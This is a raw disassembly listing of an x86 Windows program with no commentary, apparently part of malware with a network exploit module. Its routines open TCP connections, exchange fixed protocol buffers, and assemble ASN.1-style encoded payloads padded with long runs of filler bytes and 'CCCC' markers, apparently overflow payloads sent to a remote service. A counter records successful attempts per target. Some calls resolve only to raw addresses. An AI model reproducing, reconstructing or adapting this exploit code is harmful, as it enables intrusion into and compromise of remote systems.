		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB


loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------


loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 260048Fh
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41544E
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797


loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------


loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1


loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5


loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1


loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43F700
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax


loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx


loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF


loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------


loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------


loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------


loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1


loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35


loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61


loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------


loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43F680


loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43F664
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43F6B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B


loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1


loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl


loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3


loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

